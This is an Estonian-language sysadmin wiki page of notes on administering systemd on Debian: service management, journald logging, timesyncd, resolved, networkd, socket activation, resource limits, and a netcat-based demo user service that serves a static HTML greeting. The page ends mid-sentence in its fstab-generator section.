Systemd kasutamine
Sissejuhatus
systemd http://freedesktop.org/wiki/Software/systemd/ ...
Tundub, et 2014 aasta lõpus on Debian v. 8 Jessie koosseisus vaikimisi systemd
# ls -ld /sbin/init lrwxrwxrwx 1 root root 20 Sep 28 22:33 /sbin/init -> /lib/systemd/systemd
Tööpõhimõte
- Turvalisus ja tegevuste isoleerimine failisüsteemi ja võrgu tasemel, http://0pointer.de/blog/projects/security.html
- SysV käivitusskripti on imperatiivsed, st shell skriptid praktiliselt, systemd nö käivitusskriptid on deklaratiivsed, st nn .ini failidele sarnase sisuga
Paigaldamine
Tundub, et minimaalsele keskkonnale (nt debootstrap abil moodustatud) tuleb juurde lisada dbus ja polkit tugi, vastasel korral nt systemd-cgls programm ei tööta)
# apt-get install dbus libpolkit-agent-1-0
Kasutamine
Teenuse oleku küsimiseks sobib öelda
# systemctl status ssh.service
● ssh.service - OpenBSD Secure Shell server
Loaded: loaded (/lib/systemd/system/ssh.service; enabled)
Active: active (running) since Tue 2014-11-04 02:43:10 EET; 18h ago
Main PID: 1956 (sshd)
CGroup: /system.slice/ssh.service
└─1956 /usr/sbin/sshd -D
kus
# cat /lib/systemd/system/ssh.service [Unit] Description=OpenBSD Secure Shell server After=network.target auditd.service ConditionPathExists=!/etc/ssh/sshd_not_to_be_run [Service] EnvironmentFile=-/etc/default/ssh ExecStart=/usr/sbin/sshd -D $SSHD_OPTS ExecReload=/bin/kill -HUP $MAINPID KillMode=process Restart=on-failure [Install] WantedBy=multi-user.target Alias=sshd.service
Teenuste nimekirja esitamiseks
# systemctl list-units --type=service | head -n 5 UNIT LOAD ACTIVE SUB DESCRIPTION accounts-daemon.service loaded active running Accounts Service acpid.service loaded active exited LSB: Start the Advanced Configuration and Power Interface daemon amavis-mc.service loaded active exited LSB: Startup script for amavis master supervisor amavis.service loaded active running LSB: Starts amavisd-new mailfilter
Tundub, et teenus saab olla mitmes olekus, üks variant teenuseid on sellised, mis arvuti käivitamisel nö korraks töötavad midagi sisse lülitades ja siis teevad exit, nt
# systemctl list-units --type=service --state=exited UNIT LOAD ACTIVE SUB DESCRIPTION getty-static.service loaded active exited getty on tty2-tty6 if dbus and logind are not available kbd.service loaded active exited LSB: Prepare console keymap.service loaded active exited LSB: Set keymap modules_dep.service loaded active exited LSB: modules.dep creation. netfilter-persistent.service loaded active exited netfilter persistent configuration networking.service loaded active exited LSB: Raise network interfaces. quota.service loaded active exited Check And Enable File System Quotas rc-local.service loaded active exited /etc/rc.local Compatibility systemd-random-seed.service loaded active exited Load/Save Random Seed
systemd-timedated
timedatectl programmiga saab seadistada ajavööndit jms
# timedatectl list-timezones # timedatectl set-timezone Europe/Tallinn
systemd-timedated on ntp klient, mis tuleb kasutamiseks sisse lülitada
# timedatectl set-ntp true
Tundub, et samaväärne on öelda
# systemctl enable systemd-timesyncd # systemctl start systemd-timesyncd
Töötamissel annab timedatactl saranase vastuse
# timedatectl status
Local time: Fri 2015-07-31 01:21:26 EEST
Universal time: Thu 2015-07-30 22:21:26 UTC
RTC time: Thu 2015-07-30 22:21:26
Time zone: Europe/Tallinn (EEST, +0300)
NTP enabled: yes
NTP synchronized: no
RTC in local TZ: no
DST active: yes
Last DST change: DST began at
Sun 2015-03-29 02:59:59 EET
Sun 2015-03-29 04:00:00 EEST
Next DST change: DST ends (the clock jumps one hour backwards) at
Sun 2015-10-25 03:59:59 EEST
Sun 2015-10-25 03:00:00 EET
kus
- valitud ajavööndi Daylight Saving Time algus ja lõpp
- kas NTP teenust töötab (systemd-timesyncd)
Spetsiifilise NTP serveri kasutamiseks sobib näidata ta seadistusfailis /etc/systemd/timesyncd.conf
# cat /etc/systemd/timesyncd.conf [Time] Servers=10.192.0.53
ja muudatuse kehtestamiseks öelda
# systemctl restart systemd-timesyncd
Tulemusena
# systemctl status systemd-timesyncd
● systemd-timesyncd.service - Network Time Synchronization
Loaded: loaded (/lib/systemd/system/systemd-timesyncd.service; enabled)
Active: active (running) since Fri 2015-07-31 09:13:18 EEST; 1min 43s ago
Docs: man:systemd-timesyncd.service(8)
Main PID: 1179 (systemd-timesyn)
Status: "Using Time Server 10.192.0.53:123 (10.192.0.53)."
CGroup: /system.slice/systemd-timesyncd.service
└─1179 /lib/systemd/systemd-timesyncd
Jul 31 09:13:17 postkast systemd-timesyncd[1179]: Using NTP server 10.192.0.53:123 (10.192.0.53).
Jul 31 09:13:18 postkast systemd-timesyncd[1179]: interval/delta/delay/jitter/drift 32s/+0.621s/0.000s/0.000s/+0ppm
Jul 31 09:13:50 postkast systemd-timesyncd[1179]: interval/delta/delay/jitter/drift 64s/+0.000s/0.000s/0.000s/+0ppm
Jul 31 09:14:54 postkast systemd-timesyncd[1179]: interval/delta/delay/jitter/drift 128s/-0.000s/0.000s/0.000s/+0ppm
Taustal tegutseb lisaks systemd-timedated deemon, mis on static, st teda kutsutakse automaatselt vajadusel välja, st käivitatakse
# systemctl status systemd-timedated
● systemd-timedated.service - Time & Date Service
Loaded: loaded (/lib/systemd/system/systemd-timedated.service; static)
Active: inactive (dead)
Docs: man:systemd-timedated.service(8)
man:localtime(5)
http://www.freedesktop.org/wiki/Software/systemd/timedated
Rakenduste kasutamine systemd keskkonnas
PostgreSQL kasutamine
Mitme PostgreSQL protsesside komplekti kasutamiseks sobib esmalt järgmise eksemplari osa failisüsteemis ettevalmistada nö tavalisel viisil
# pg_createcluster 9.4 test
ning käivitada
# systemctl start postgresql@9.4-test
Mitme PostgreSQL protsesside komplekti kasutamine paistab sedasi
# ps -U postgres -o pid,user,cgroup:150,args PID USER CGROUP COMMAND 10064 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-main.service /usr/lib/postgresql/9.4/bin/postgres -D /va ... 10070 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-main.service postgres: checkpointer process 10072 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-main.service postgres: writer process 10074 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-main.service postgres: wal writer process 10076 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-main.service postgres: autovacuum launcher process 10078 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-main.service postgres: stats collector process 10331 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-test.service /usr/lib/postgresql/9.4/bin/postgres -D /var ... 10333 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-test.service postgres: checkpointer process 10334 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-test.service postgres: writer process 10335 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-test.service postgres: wal writer process 10336 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-test.service postgres: autovacuum launcher process 10337 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-test.service postgres: stats collector process
kus
- erinevate PostgreSQL protsessi kompilektide protsessid on sama süsteemi kasutaja postgres omad, aga kuuluvad erinevatesse kerneli CGROUP'idesse
Tapmiseks nö -9 signaaliga
# systemctl kill -s SIGKILL postgresql@9.4-test.service
Samba
Teenuste seiskamine
# systemctl stop smbd # systemctl stop nmbd
kontrolliks
# ps aux | grep mb
AD kasutamiseks
# systemctl start samba-ad-dc
OpenVPN
Kui OpenVPN kliendi seadisus asub failis /etc/openvpn/client.conf, siis käivitamiseks sobib öelda
# systemctl start openvpn@client.service
Serial konsool
Serial konsooli käivitamiseks sobib öelda
# systemctl enable serial-getty@ttyS0.service Created symlink from /etc/systemd/system/getty.target.wants/serial-getty@ttyS0.service \ to /lib/systemd/system/serial-getty@.service. # systemctl start serial-getty@ttyS0.service
Tulemusena saab ipmitool, cu, minicom jt programmide abil pöörduda serial konsooli poole.
NUT
Tundub, et töötab, nt
# systemctl status nut-server # systemctl status nut-client
iptables
Kasulikud lisamaterjalid
rsyslog
Peatamiseks
# systemctl stop syslog.socket rsyslog.service
vastasel korral tuleb sõnum sisse ja rsyslog teenus käivitatakse automaatselt.
Varnish
Kuulava pordi muutmine failis
# grep ^ExecS /lib/systemd/system/varnish.service ExecStart=/usr/sbin/varnishd -j unix,user=vcache -F -a :80 -T localhost:6082 -f /etc/varnish/default.vcl -S /etc/varnish/secret -s malloc,256m
Logimisel X-Forwarded-For kasutamiseks
# grep ^ExecS /lib/systemd/system/varnishncsa.service
ExecStart=/usr/bin/varnishncsa -F '%%{X-Forwarded-For}i %%l %%u %%t \"%%r\" %%s %%b \"%%{Referer}i\" \"%%{User-agent}i\"' -a -w /var/log/varnish/varnishncsa.log
Muudatuste kehtestamiseks
# systemctl daemon-reload # /etc/init.d/varnishncsa restart # /etc/init.d/varnish restart
Logis on näha X-Forwarded-For päisest tulnud aadress ning tcp ühenduse teise otspunkti aadress
# tail -f /var/log/varnish/varnishncsa.log 10.204.62.115, 10.184.39.42 - - [02/Oct/2017:17:20:24 +0300] "GET http://www.moraal.ee/ HTTP/1.1" 200 612 "-" "Wget/1.17.1 (linux-gnu)" 10.204.62.115, 10.184.39.42 - - [02/Oct/2017:17:20:24 +0300] "GET http://www.moraal.ee/ HTTP/1.1" 200 612 "-" "Wget/1.17.1 (linux-gnu)" 10.204.62.115, 10.184.39.42 - - [02/Oct/2017:17:20:24 +0300] "GET http://www.moraal.ee/ HTTP/1.1" 200 612 "-" "Wget/1.17.1 (linux-gnu)" ...
Logimine
Systemd sisaldab logimise komponenti journald.
Süsteemi alglaadimine
Logimise haldusutiliit näitab vaikimisi kogu kogutud logi alates viimasest alglaadimisest, vanemad sissekanded eespool
# journalctl -- Logs begin at Mon 2015-07-27 23:03:45 EEST, end at Tue 2015-07-28 08:41:14 EEST. -- Jul 27 23:03:45 systemd systemd-journal[171]: Runtime journal is using 4.0M (max allowed 9.3M, trying to leave 14.0M free of 89.7M available → current limit 9.3M). Jul 27 23:03:45 systemd systemd-journal[171]: Runtime journal is using 4.0M (max allowed 9.3M, trying to leave 14.0M free of 89.7M available → current limit 9.3M). Jul 27 23:03:45 systemd kernel: Initializing cgroup subsys cpuset Jul 27 23:03:45 systemd kernel: Initializing cgroup subsys cpu Jul 27 23:03:45 systemd kernel: Initializing cgroup subsys cpuacct Jul 27 23:03:45 systemd kernel: Linux version 4.0.0-2-amd64 (debian-kernel@lists.debian.org) (gcc version 4.9.3 (Debian 4.9.3-2) ) #1 SMP Debian 4.0.8-2 (2015-07-22) Jul 27 23:03:45 systemd kernel: Command line: BOOT_IMAGE=/vmlinuz-4.0.0-2-amd64 root=/dev/mapper/systemd-root ro console=ttyS0,9600 ...
journald töötamisest annab tunnistust protsess
# ps aux | grep journald .. root 172 0.1 1.0 35112 5208 ? Ss 08:55 0:00 /lib/systemd/systemd-journald
Märkused
Tundub, et vahel võib The Journal seisma jääda (nt saab failisüsteem täis vms), see paistab sedasi ja midagi ei logita (nt logger protsessiga)
Mar 28 03:37:01 keskus systemd-journal[29787]: Journal stopped -- Subject: The Journal has been stopped -- Defined-By: systemd -- Support: http://lists.freedesktop.org/mailman/listinfo/systemd-devel
Käivitamiseks
# systemctl start systemd-journald
# journalctl -xn ... May 19 02:36:01 keskus systemd[1]: Starting Session 81008 of user root. May 19 02:36:01 keskus systemd[1]: Started Session 81008 of user root. May 19 02:36:01 keskus systemd[1]: Starting Journal Socket (/dev/log). May 19 02:36:01 keskus systemd[1]: Listening on Journal Socket (/dev/log). May 19 02:36:01 keskus systemd[1]: Starting Journal Socket. May 19 02:36:01 keskus systemd[1]: Listening on Journal Socket. May 19 02:36:01 keskus systemd[1]: Starting Journal Service... May 19 02:36:01 keskus systemd[1]: Started Journal Service. May 19 02:36:01 keskus systemd-journal[32447]: Journal started -- Subject: The Journal has been started -- Defined-By: systemd -- Support: http://lists.freedesktop.org/mailman/listinfo/systemd-devel -- -- The system journal process has been starting up, opened the journal -- files for writing and is now ready to process requests.
Apache veebiserver
Kui Apache seadistusfailis on viga, siis see paistab journald juurest välja selline
# journalctl -u apache2 .. Jul 28 09:11:31 systemd systemd[1]: Starting LSB: Apache2 web server... Jul 28 09:11:31 systemd apache2[2491]: Starting web server: apache2 failed! Jul 28 09:11:31 systemd apache2[2491]: The apache2 configtest failed. ... (warning). Jul 28 09:11:31 systemd apache2[2491]: Output of config test was: Jul 28 09:11:31 systemd apache2[2491]: AH00526: Syntax error on line 1 of /etc/apache2/sites-enabled/000-default.conf: Jul 28 09:11:31 systemd apache2[2491]: <VirtualHost> directive missing closing '>' Jul 28 09:11:31 systemd apache2[2491]: Action 'configtest' failed. Jul 28 09:11:31 systemd apache2[2491]: The Apache error log may have more information. Jul 28 09:11:31 systemd systemd[1]: apache2.service: Control process exited, code=exited status=1 Jul 28 09:11:31 systemd systemd[1]: Failed to start LSB: Apache2 web server. Jul 28 09:11:31 systemd systemd[1]: apache2.service: Unit entered failed state. Jul 28 09:11:31 systemd systemd[1]: apache2.service: Failed with result 'exit-code'.
kus
- journald tegeleb apache2 protsessidega seotud nö süsteemse logiga, mitte http päringute logimisega
Kasulikud lisamaterjalid
- https://www.digitalocean.com/community/tutorials/how-to-use-journalctl-to-view-and-manipulate-systemd-logs
- http://0pointer.de/blog/projects/journalctl.html
targetite vahel liikumine
Nö init=/bin/bash keskkonda liikumiseks tuleb kasutada bootloaderis tuuma real parameetrit
systemd.unit=emergency.target
tulemusena jõutakse (arvuti hostname on antud juhul systemd)
..
Welcome to Debian GNU/Linux stretch/sid!
[260222.496889] systemd[1]: Set hostname to <systemd>.
[ OK ] Created slice Root Slice.
[260223.089638] systemd[1]: Created slice Root Slice.
[260223.096748] systemd[1]: Starting Root Slice.
[ OK ] Created slice System Slice.
[260223.109289] systemd[1]: Created slice System Slice.
[260223.115005] systemd[1]: Starting System Slice.
[ OK ] Started Emergency Shell.
[260223.134133] systemd[1]: Started Emergency Shell.
[260223.146296] systemd[1]: Starting Emergency Shell...
Starting Emergency Shell...
[ OK ] Reached target Emergency Mode.
[260223.192047] systemd[1]: Reached target Emergency Mode.
[260223.205684] systemd[1]: Startup finished in 3.658s (kernel) + 967ms (userspace) = 4.626s.
[260223.221455] systemd[1]: Starting Emergency Mode.
[260223.232336] systemd[157]: emergency.service: Failed at step EXEC spawning /bin/plymouth: No such file or directory
Welcome to emergency mode! After logging in, type "journalctl -xb" to view
system logs, "systemctl reboot" to reboot, "systemctl default" or ^D to
try again to boot into default mode.
Give root password for maintenance
(or press Control-D to continue): <root parool>
root@systemd:~#
Tavalisse nn multi-user režiimi jõudmiseks sobib öelda seejärel
# systemctl isolate multi-user.target
Arvuti väljalülitamiseks sh toitest
# systemctl poweroff
systemd-socket-proxyd
systemd-ocket-proxyd võimaldab käivitada teenuse selle poole pöördumisel. Nt nginx protsessid käivitatakse port 80 poole pöördumisel. Selleks tuleb
- seadistada nginx server kuulama port 8080
# cat /etc/nginx/sites-available/default
..
server {
listen 8080 default_server;
...
- tekitada .service tüüpi unit (erinevalt man systemd-socket-proxyd soovitusest on JoinsNamespaceOf ja PrivateNetwork välja kommenteeritud ja lülitatud)
# cat /etc/systemd/system/proxy-to-nginx.service [Unit] Rquires=nginx.service After=nginx.service # JoinsNamespaceOf=nginx.service
[Service] ExecStart=/lib/systemd/systemd-socket-proxyd 127.0.0.1:8080 PrivateTmp=yes PrivateNetwork=no
- tekitada .socket tüüpi unit
# cat /etc/systemd/system/proxy-to-nginx.socket [Socket] ListenStream=80 [Install] WantedBy=sockets.target
Seejärel tuleb sisse lülitada ja käivitada socket unit (nginx ise ega proxy-to-nginx.service ei pea töötama)
# systemctl enable proxy-to-nginx.socket # systemctl start proxy-to-nginx.socket
Tulemusena pöördudes aadressile http://127.0.0.1:80/ käivitatakse .service ja nginx protsessid.
Kasulikud lisamaterjalid
- https://developer.atlassian.com/blog/2015/03/docker-systemd-socket-activation/
- man systemd-socket-proxyd
systemd-resolved
Paigaldada pakett libnss-resolve
# apt-get install libnss-resolve
Kirjeldada meelepärane nö ISP nimeserver
# cat /etc/systemd/resolved.conf [Resolve] DNS=10.192.0.53
Lülitada sisse systemd-resolved
# systemctl start systemd-resolved # systemctl enable systemd-resolved
Testida systemd-resolved rekursiivse nimeserveri töötamist
# /lib/systemd/systemd-resolve-host kuutorvaja.eenet.ee kuutorvaja.eenet.ee: 193.40.0.7 -- Information acquired via protocol DNS in 157.3ms.
Kustutada fail /etc/resolv.conf
# rm /etc/resolv.conf
Kasutada failis /etc/nsswitch.conf rida
hosts: files resolve dns
Soovi korral
# ln -fs /run/systemd/resolve/resolv.conf /etc/resolv.conf
Debugi sisselülitamine
# cp /lib/systemd/system/systemd-resolved.service /etc/systemd/system
kus on sektsioonis Service lisatud debug
[Service] .. Environment=SYSTEMD_LOG_LEVEL=debug
dns cache jms logisse kirjutamiseks
# kill -SIGUSR1 PID
Tulemuse esitamine
# systemd-resolve --status
Logi jälgimine
# journalctl -f -u systemd-resolved
localectl
# localectl list-locales C.UTF-8 en_US.utf8
Service haldamine
Käivitamine
# systemctl start apache2
Oleku küsimine
# systemctl status apache2
Seiskamine
# systemctl stop apache2
Väljalülitamine, st selliselt seadistatud teenust ei käivitata automaatselt (süsteemi alglaadimisel, mingi event esinemisel vms), aga käsitsi start abil saab käivitada
# systemctl disable apache2
Sisselülitamiseks
# systemctl enable apache2
Maskeerimine, selliselt seadistatud teenust ei saa üldse käivitada
# systemctl mask apache2
Maskeerimise väljalülitamiseks
# systemctl unmask apache2
Kõigi service'ite nimekirja küsimine (töötavate küsimiseks jätta -a ära; sarnaselt saab küsida target, socket, mount)
# systemctl list-units --type service -a
Kõigi failide nimekirja küsimine
# systemctl list-unit-files --type=service
systemd seadistustes tehtud muudatuste esitamine
# systemd-delta
Sõltuvuste nimekirja esitamine
# systemctl list-dependencies sshd.service
Teenuse omaduste esitamiseks
# systemctl show sshd.service
Unitite seadistusfailidega töötamiseks sobib öelda (vastavalt redigeeritakse /etc/systemd/system/nginx.service, /etc/systemd/system/nginx.service.d/failinimi või esitatakse faili sisu)
# systemctl edit --full nginx.service # systemctl edit nginx.service # systemctl cat nginx.service
systemd-networkd
systemd-networkd tegeleb võrgu seadistamisega. Nt nspawn konteinerile saab võrgu seadistada selliselt
- seadistada konteinerit hostiva arvuti võrguühendus nt bridge-utils bridge abil
- tekitada konteinerisse seadistusfail (kui arvutis on mitu võrguliidest, siis võiks iga liidese jaoks olla oma fail)
# cat /etc/systemd/network/50-static.network [Match] Name=host0 [Network] Address=192.168.10.16/24 Gateway=192.168.10.254
- /etc/network/interfaces failis kirjeldada vaid lo seade
# cat /etc/network/interfaces source /etc/network/interfaces.d/* auto lo iface lo inet loopback
- võrgu käivitamiseks öelda
# systemctl start systemd-networkd
- ipv4 ja ipv6 aadressi seadistamiseks
.. [Network] Gateway=192.168.10.254 [Address] Address=192.168.10.16/24 [Address] Address=110:1/64
Konsooli alglaadimisjärgse puhastamise lõpetamine
Järgneva töötamise eelduseks on /etc/default/grub failis "quiet" eemaldamine, vt man systemd -> ShowStatus 'Defaults to enabled, unless quiet is passed as kernel command line option, in which case it defaults to error.' Alternatiiv on kasutada kernel argumenti 'systemd.show_status=1'.
Viisakas variant
# systemctl edit getty@tty1 .. [Service] TTYVTDisallocate=no ...
Vulgaarsem variant
# mkdir /etc/systemd/system/getty@tty1.service.d # cat /etc/systemd/system/getty@tty1.service.d/noclear.conf [Service] TTYVTDisallocate=no
Ja järgmisel alglaadimisel enam ekraani ei puhastata
# reboot
NB! Selleks, et tuuma teateid oleks näha tuleb lisaks GRUB2 seadistusfailis kasutada rida
# cat /etc/default/grub .. GRUB_CMDLINE_LINUX_DEFAULT="" ...
ning öelda
# update-grub
Kasulikud lisamaterjalid
journalctl kasuamine
Bootimisest alates antud logi sissekannete esitamiseks sobib öelda
# journalctl -b
Selleks, et näha erinevate bootimiskordade logi tuleb öelda
# mkdir /var/log/journal # sed -ri s/^#Storage=auto/Storage=persistent/ /etc/systemd/journald.conf
tulemusena saab nimekirja vaadata
# journalctl --list-boots
ning konkreetse korra sissekandeid nt
# journalctl -b -2
Uniti vms logi follow režiimis esitamiseks
# journalctl -n 20 -f -u ssh
Systemd debugimine
TODO
Kasulikud lisamaterjalid
Ressursikasutuse kontrollimine
# grep -v "^#" /etc/systemd/system.conf [Manager] DefaultCPUAccounting=yes DefaultBlockIOAccounting=yes DefaultMemoryAccounting=yes
# systemctl set-property nginx.service MemoryLimit=10M
systemd-run
$ systemd-run --user --unit=limit-test.scope --scope -p MemoryAccounting=yes -p MemoryLimit=2M bash
$ systemctl show --user limit-test.scope | grep Mem MemoryAccounting=yes MemoryLimit=2M
või
root@ph-minio-01:~# systemd-run --user --scope -p MemoryMax=10M -p MemorySwapMax=0 bash Running as unit: run-p10909-i11209.scope; invocation ID: d3b7a7cc8af2431282ac1e1e7d469e2a root@ph-minio-01:~# python3 -c 'a = "x" * 20 * 1024 * 1024' Killed root@ph-minio-01:~#
systemd-boot
TODO
Kasulikud lisamaterjalid
systemd-logind
Mõisted
- seat
- session
Tööpõhimõte
Kasutaja sisselomisel moodustatakse nö sessioon
- '$ systemd --user ..' - käivitatakse per kasutaja systemd lahendus (seejuurde kuulub systemd-user service'ite käivitamine)
- '$ busctl lis') - per kasutaja dbus käivitamine (busctl list)
- '$ lsns' - moodustatakse per kasutaja namespace'ide komplekt (user, mount, pid jne)
- 'man pam_systemd' - pam kaudu kutsutakse välja kasutajapõhine systemd lahendus
nn linger abil saab kasutaja sessiooni tekitada automaatselt süsteemi algkäivituse käigus
Misc
systemd-logind asendab ConsoleKit lahenduse. nt saab küsida
# loginctl list-sessions
SESSION UID USER SEAT TTY
31 0 root seat0 /dev/tty2
189 1001 priit seat0 /dev/tty4
2 1000 imre seat0
c5 111 lightdm seat0
187 1001 priit seat0 /dev/tty3
33 1000 imre seat0
6 sessions listed.
Arvuti sees root kasutajana tavakasutaja service nimekirja küsimine
root@ph-minio-01:~# systemctl --user -M kasutaja@.host list-units --type=service UNIT LOAD ACTIVE SUB DESCRIPTION dbus.service loaded active running D-Bus User Message Bus nginx-08.service loaded active running My Nginx Quadlet Service nginx-09.service loaded active running My Nginx 09 Quadlet Service ...
kasutaja status küsimine
kasutaja@ph-minio-01:~$ loginctl user-status
kasutaja (1000)
Since: Sun 2026-04-19 18:59:50 EEST; 1h 15min ago
State: active
Sessions: *69 68
Linger: no
Unit: user-1000.slice
├─session-69.scope
│ ├─3556 "sshd-session: kasutaja [priv]"
│ ├─3563 "sshd-session: kasutaja@pts/1"
│ ├─3564 -bash
│ ├─3883 loginctl user-status
│ └─3884 pager
...
kus
- linger info - no
Kasulikud lisamaterjalid
systemd system service
TODO
systemd user service
Kui tavaliselt on kasutusel systemd põhises keskkonnas nn süsteemne systemd halduse lahendus, mis tegeleb teenus-protsessidega, siis systemd user service on selline asjakorraldus, kus sarnane tulemus saavutatakse tavakasutaja tingimustes. Üks võimalik lähtepunkt on, et süsteemi on tavakasutaja abil sisse logitud üle ssh ühes aknas
root@pwrk-02:~# ps U priit 20185 ? Ss 0:00 /usr/lib/systemd/systemd --user 20187 ? S 0:00 (sd-pam) 20201 ? S 0:00 sshd-session: priit@pts/0 20202 pts/0 Ss 0:00 -bash
kus
- sellega kaasneb kasutaja-põhise systemd protsessi töötamine
ja teises aknas asutakse tegutsema
root@pwrk-02:~# su - priit priit@pwrk-02:~$ export XDG_RUNTIME_DIR=/run/user/1002
kus
- systemctl --user ... leiab selle XDG kataloogi suhtes standardsest asukohast systemd user soketi (/run/user/1002/systemd/private)
systemd user service ehk kasutaja-põhine teenus paistab välja selline
priit@pwrk-02:~$ systemctl --user list-units | grep http
bash-http-server.service loaded active running Bash Netcat HTTP Microservice
priit@pwrk-02:~$ systemctl --user status bash-http-server.service
● bash-http-server.service - Bash Netcat HTTP Microservice
Loaded: loaded (/home/priit/.config/systemd/user/bash-http-server.service; enabled; preset: enabled)
Active: active (running) since Sun 2025-10-12 20:39:01 UTC; 21min ago
Main PID: 910 (bash-http-serve)
Tasks: 2 (limit: 9410)
Memory: 704.0K (peak: 1.4M)
CPU: 5ms
CGroup: /user.slice/user-1002.slice/user@1002.service/app.slice/bash-http-server.service
├─910 /bin/bash /home/priit/bin/bash-http-server
└─913 nc -l -p 5100 -q 1
Oct 12 20:39:01 pwrk-02 systemd[869]: Started bash-http-server.service - Bash Netcat HTTP Microservice.
priit@pwrk-02:~$ curl http://127.0.0.1:5100
<h1>Hello from the Bash Server Service!</h1><p>Running as user: priit</p>
vastavad protsessid
root@pwrk-02:~# ps U priit
PID TTY STAT TIME COMMAND
885 ? Ss 0:00 /usr/lib/systemd/systemd --user
889 ? S 0:00 (sd-pam)
923 ? Ss 0:00 /bin/bash /home/priit/bin/bash-http-server
929 ? S 0:00 nc -l -p 5100 -q 1
kus
- haldav protsess (systemd --user) töötab sama kasutajana nagu hallatav protsess (bash-http-server ja nc) - võib olla ei ole see parim isolatsioon
programmi on selline
priit@pwrk-02:~$ cat /home/priit/bin/bash-http-server
#!/bin/bash
# A simple, single-page HTTP server using Netcat
# Port to listen on (high port recommended for unprivileged user)
LISTEN_PORT=5100
# The HTTP response content
HTTP_CONTENT="<h1>Hello from the Bash Server Service!</h1><p>Running as user: $(whoami)</p>"
# HTTP headers
HTTP_RESPONSE="HTTP/1.1 200 OK\r\n"
HTTP_RESPONSE+="Content-Type: text/html\r\n"
HTTP_RESPONSE+="Content-Length: ${#HTTP_CONTENT}\r\n"
HTTP_RESPONSE+="\r\n"
HTTP_RESPONSE+="${HTTP_CONTENT}"
# Loop forever, listening for connections and serving the response
while true; do
# Use netcat to listen on the port, process one request, and close.
# The 'echo' ensures the response is sent back.
printf "%b" "$HTTP_RESPONSE" | nc -l -p $LISTEN_PORT -q 1
done
priit@pwrk-02:~$ chmod 0755 /home/priit/bin/bash-http-server
kasutaja-põhine systemd unit service
priit@pwrk-02:~$ mkdir -p .config/systemd/user priit@pwrk-02:~$ cat .config/systemd/user/bash-http-server.service [Unit] Description=Bash Netcat HTTP Microservice After=network-online.target Wants=network-online.target [Service] ExecStart=/home/priit/bin/bash-http-server Restart=always RestartSec=5s [Install] # This is typically the correct target for persistent user services WantedBy=default.target
Lülitatakse sisse kasutaja nö lingerdamine
imre@pwrk-02:~$ loginctl enable-linger priit
loetakse sisse systemd seadistuse muudatused
priit@pwrk-02:~$ systemctl --user daemon-reload
ning aktiveeritakse teenus + käivitatakse
priit@pwrk-02:~$ systemctl --user enable --now bash-http-server.service
Ootus on, et tulemusena käib teenus, nagu lõigu alguses on esitatud.
Kasulikud lisamaterjalid
- https://wiki.archlinux.org/index.php/Systemd/User
- https://unix.stackexchange.com/questions/251211/why-doesnt-my-systemd-user-unit-start-at-boot
- https://www.brendanlong.com/systemd-user-services-are-amazing.html
journald user logs
TODO
tmpfiles-setup
tmpfiles-setup haldab programmide ajutiste jms failide jaoks kataloogide olemasolu eest
# ls -ld /usr/lib/tmpfiles.d/* -rw-r--r-- 1 root root 238 Dec 2 2015 /usr/lib/tmpfiles.d/00rsyslog.conf -rw-r--r-- 1 root root 153 Dec 2 2015 /usr/lib/tmpfiles.d/dbus.conf -rw-r--r-- 1 root root 577 Jul 5 16:56 /usr/lib/tmpfiles.d/debian.conf -rw-r--r-- 1 root root 362 Jul 19 02:56 /usr/lib/tmpfiles.d/home.conf -rw-r--r-- 1 root root 1098 Jul 19 02:56 /usr/lib/tmpfiles.d/journal-nocow.conf -rw-r--r-- 1 root root 812 Jul 19 02:56 /usr/lib/tmpfiles.d/legacy.conf -rw-r--r-- 1 root root 61 Apr 16 2016 /usr/lib/tmpfiles.d/lvm2.conf -rw-r--r-- 1 root root 239 Feb 5 2016 /usr/lib/tmpfiles.d/passwd.conf -rw-r--r-- 1 root root 176 Feb 21 2016 /usr/lib/tmpfiles.d/postgresql.conf -rw-r--r-- 1 root root 33 Jun 9 2015 /usr/lib/tmpfiles.d/screen-cleanup.conf -rw-r--r-- 1 root root 31 Mar 16 2017 /usr/lib/tmpfiles.d/sshd.conf -rw-r--r-- 1 root root 313 Jul 4 10:37 /usr/lib/tmpfiles.d/sudo.conf -rw-r--r-- 1 root root 1544 Jul 19 02:56 /usr/lib/tmpfiles.d/systemd.conf -rw-r--r-- 1 root root 496 Jul 19 02:56 /usr/lib/tmpfiles.d/systemd-nologin.conf -rw-r--r-- 1 root root 637 Jul 19 02:56 /usr/lib/tmpfiles.d/tmp.conf -rw-r--r-- 1 root root 532 Jul 19 02:56 /usr/lib/tmpfiles.d/var.conf -rw-r--r-- 1 root root 623 Jul 19 02:56 /usr/lib/tmpfiles.d/x11.conf -rw-r--r-- 1 root root 41 Aug 16 12:13 /usr/lib/tmpfiles.d/zabbix-agent.conf
Timer
TODO
# systemctl list-timers NEXT LEFT LAST PASSED UNIT ACTIVATES Tue 2017-07-25 06:52:49 EEST 6h left Mon 2017-07-24 06:49:40 EEST 17h ago apt-daily.timer apt-daily.service Tue 2017-07-25 10:41:54 EEST 10h left Mon 2017-07-24 10:41:54 EEST 13h ago systemd-tmpfiles-clean.timer systemd-tmpfiles-clean.service
systemd-fstab-generator
Paistab, et systemd tekitab automaatselt /etc/fstab sisule vastavad unit failid /run alla, nt
# cat /run/systemd/generator/var-lib-postgresql.mount # Automatically generated by systemd-fstab-generator [Unit] SourcePath=/etc/fstab Documentation=man:fstab(5) man:systemd-fstab-generator(8) Before=local-fs.target Requires=systemd-fsck@dev-system-var_lib_postgresql.service After=systemd-fsck@dev-system-var_lib_postgresql.service [Mount] What=/dev/system/var_lib_postgresql Where=/var/lib/postgresql Type=ext4
Kui fstab sees kirjeldatud LVM voluumi nime jääb samaks, aga UUID muutub (nt olemasolev LVM volüüm kustutada ja tekitada asemele teine) ning öelda
# mount /var/lib/postgresql
